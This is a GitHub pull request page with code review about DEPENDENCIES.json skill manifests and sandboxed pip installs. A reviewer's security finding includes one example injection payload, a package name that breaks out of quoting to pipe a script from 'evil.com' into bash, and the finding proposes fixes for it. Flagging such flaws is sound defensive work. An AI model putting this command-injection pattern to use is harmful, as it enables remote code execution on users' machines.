Skip to content

feat: make skills dependency metadata portable#84

Open
Sun-sunshine06 wants to merge 2 commits intoOpenCoworkAI:mainfrom
Sun-sunshine06:feat/skill-dependency-manifests-pr
Open

feat: make skills dependency metadata portable#84
Sun-sunshine06 wants to merge 2 commits intoOpenCoworkAI:mainfrom
Sun-sunshine06:feat/skill-dependency-manifests-pr

Conversation

@Sun-sunshine06
Copy link
Copy Markdown
Contributor

Summary\n- add machine-readable DEPENDENCIES.json manifests and compatibility metadata for built-in skills\n- validate dependency manifests, surface compatibility in settings, and pre-install required Python packages for active skills in WSL/Lima sandboxes\n- update skill-creator scaffolding/validation so new skills default toward portable, machine-readable runtime requirements\n\n## Testing\n-

px tsc --noEmit\n-
px vitest run tests/skills-manager-compatibility.test.ts tests/builtin-skill-portability.test.ts tests/skill-dependencies.test.ts\n-
px eslint src/main/skills/skill-dependencies.ts src/main/skills/skills-manager.ts src/main/sandbox/wsl-bridge.ts src/main/sandbox/lima-bridge.ts src/main/sandbox/sandbox-bootstrap.ts src/main/claude/agent-runner.ts src/renderer/utils/sandbox-i18n.ts src/renderer/types/index.ts tests/skills-manager-compatibility.test.ts tests/builtin-skill-portability.test.ts tests/skill-dependencies.test.ts\n- python -m py_compile .claude/skills/skill-creator/scripts/quick_validate.py .claude/skills/skill-creator/scripts/init_skill.py\n\n## Notes\n- keeps user-local credential encryption changes out of this PR\n- project-level .skills/ are now included in sandbox dependency collection, and linked skill directories are followed when aggregating manifests

Copy link
Copy Markdown
Collaborator

@hqhq1025 hqhq1025 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🚨 Request Changes — Security vulnerability + path resolution bug

The DEPENDENCIES.json architecture is sound, but the implementation has critical issues that must be fixed before merging.

🚨 P0: Shell injection via untrusted package names

Files: src/main/sandbox/wsl-bridge.ts, src/main/sandbox/lima-bridge.ts

Package names from DEPENDENCIES.json are interpolated directly into bash -c shell commands:

const packagesStr = missingPackages.map((pkg) => `"${pkg}"`).join(' ');
// → bash -c "python3 -m pip install --user ${packagesStr}"

A malicious .skills/evil/DEPENDENCIES.json in a project could contain:

{ "pythonPackages": ["foo\"; curl evil.com/payload | bash; #"] }

Note: escapeForDoubleQuotes() already exists in wsl-bridge.ts line 41 but is not used here.

Fix options:

  1. Validate package names: /^[a-zA-Z0-9._\-\[\]<>=!,]+$/
  2. Apply escapeForDoubleQuotes() to each package name
  3. Both (recommended)

🚨 P0: Duplicated getBuiltinSkillsPath with wrong priority

skill-dependencies.ts creates its own getBuiltinSkillsPath() with different path ordering than agent-runner.ts:

Priority agent-runner.ts skill-dependencies.ts
2 resourcesPath/skills asar.unpacked/.claude/skills
4 appPath/.claude/skills resourcesPath/skills

In production, these resolve to different directories. Dependency pre-install reads different manifests than the skills actually loaded by the agent.

Fix: Import from a shared utility or delegate to agent-runner's implementation.

P1: Overly broad skills/ directory scanning

Many projects have unrelated skills/ directories (Alexa skills, game skill trees, etc.). The bare skills/ candidate should be removed or require a sentinel file.

P1: Symlink following without containment check

fs.statSync follows symlinks in project .skills/ without verifying the target stays within the project root. The project already has isPathWithinRoot in path-containment.ts.

P2: Other issues

  • EMPTY_SUMMARY uses shared mutable arrays (shallow spread). Use Object.freeze or return fresh arrays.
  • WSL/Lima pip install blocks are 22 lines of near-identical code — extract a helper
  • 兼容性 hardcoded as Chinese defaultValue in SettingsSkills.tsx
  • zh.json missing compatibilityLabel translation
  • In-memory pip install cache doesn't handle partial failures
  • Test gaps: no coverage for shell injection, symlink traversal, caching edge cases

@Sun-sunshine06
Copy link
Copy Markdown
Contributor Author

Addressed the review feedback in d66c3dc. Summary:

  • removed shell interpolation from WSL/Lima pip installs, added package-spec validation, and now cache per-package successes across partial failures
  • centralized project skill directory discovery to .skills only and added containment checks for project symlinks
  • moved builtin dependency-manifest path resolution onto a shared helper so dependency discovery uses the same production ordering
  • replaced the shared mutable empty summary with fresh arrays
  • fixed the compatibility label i18n issue in SettingsSkills/zh locale
  • added regression coverage for package-spec rejection, symlink escape attempts, project skill discovery, and builtin path priority

Validation run locally:

  • npm run typecheck
  • npx vitest run tests/python-package-installer.test.ts tests/skill-paths.test.ts tests/skill-dependencies.test.ts tests/skills-manager-project-loading.test.ts tests/skills-manager-compatibility.test.ts

@hqhq1025 hqhq1025 closed this Apr 13, 2026
@hqhq1025 hqhq1025 reopened this Apr 13, 2026
Copy link
Copy Markdown

@github-actions github-actions bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Review mode: initial

Findings

  • [Major] Legacy project/skills/ loading was removed, so existing workspaces that still keep project skills under skills/ will silently stop loading them after this PR. Evidence src/main/skills/skill-paths.ts:48, src/main/skills/skills-manager.ts:526, tests/skills-manager-project-loading.test.ts:67.
    Suggested fix:
    const candidates = [
      path.join(resolvedProjectRoot, '.skills'),
      path.join(resolvedProjectRoot, 'skills'),
    ];
    
    return candidates.filter((candidate) => {
      if (!fs.existsSync(candidate) || !fs.statSync(candidate).isDirectory()) return false;
      const realCandidate = fs.realpathSync(candidate);
      return isPathWithinRoot(
        realCandidate,
        resolvedProjectRoot,
        shouldUseCaseInsensitiveContainment(resolvedProjectRoot)
      );
    });
  • [Minor] The new Python-side skill validator does not enforce the same DEPENDENCIES.json rules as the app validator, so it can report invalid manifests as valid. In particular, dependency_lists += 1 counts empty arrays as valid declarations, while the runtime validator rejects manifests with no populated dependency lists (src/main/skills/skill-dependencies.ts:133). Evidence .claude/skills/skill-creator/scripts/quick_validate.py:129.
    Suggested fix:
    has_entries = False
    for key in sorted(allowed_dependency_keys - {'schemaVersion'}):
        value = dependencies.get(key)
        if value is None:
            continue
        if not isinstance(value, list):
            return False, f'DEPENDENCIES.json field "{key}" must be a list of strings'
        for item in value:
            if not isinstance(item, str) or not item.strip():
                return False, f'DEPENDENCIES.json field "{key}" must contain non-empty strings only'
            has_entries = True
    
    if not has_entries:
        return False, "DEPENDENCIES.json must declare at least one dependency list"

Summary

  • 2 findings. The main regression is the silent compatibility break for existing project/skills/ workspaces.
  • CLAUDE.md: Not found in repo/docs.

Testing

  • Not run (automation)

Open Cowork Bot

}

const resolvedProjectRoot = path.resolve(projectRoot);
const candidate = path.join(resolvedProjectRoot, '.skills');
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[MAJOR] This narrows project skill discovery to .skills only, which drops the legacy project/skills/ directory that loadProjectSkills() previously loaded. Existing workspaces with skills/ will silently lose their project skills after upgrading, and the new test now codifies that regression by expecting ignored-bare-skill to be skipped (tests/skills-manager-project-loading.test.ts:67).

Suggested fix:

const candidates = [
  path.join(resolvedProjectRoot, '.skills'),
  path.join(resolvedProjectRoot, 'skills'),
];

return candidates.filter((candidate) => {
  if (!fs.existsSync(candidate) || !fs.statSync(candidate).isDirectory()) return false;
  const realCandidate = fs.realpathSync(candidate);
  return isPathWithinRoot(
    realCandidate,
    resolvedProjectRoot,
    shouldUseCaseInsensitiveContainment(resolvedProjectRoot)
  );
});

if schema_version is not None and schema_version != 1:
return False, "DEPENDENCIES.json schemaVersion must be 1 when present"

dependency_lists = 0
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[MINOR] The new DEPENDENCIES.json check diverges from the app validator here: dependency_lists += 1 treats an empty list like a valid dependency declaration, so quick_validate.py will accept {"pythonPackages": []} even though the runtime validator rejects it (src/main/skills/skill-dependencies.ts:133). That makes the skill-creator happy path report success for manifests the app later refuses to install.

Suggested fix:

has_entries = False
for key in sorted(allowed_dependency_keys - {'schemaVersion'}):
    value = dependencies.get(key)
    if value is None:
        continue
    if not isinstance(value, list):
        return False, f'DEPENDENCIES.json field "{key}" must be a list of strings'
    for item in value:
        if not isinstance(item, str) or not item.strip():
            return False, f'DEPENDENCIES.json field "{key}" must contain non-empty strings only'
        has_entries = True

if not has_entries:
    return False, "DEPENDENCIES.json must declare at least one dependency list"

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants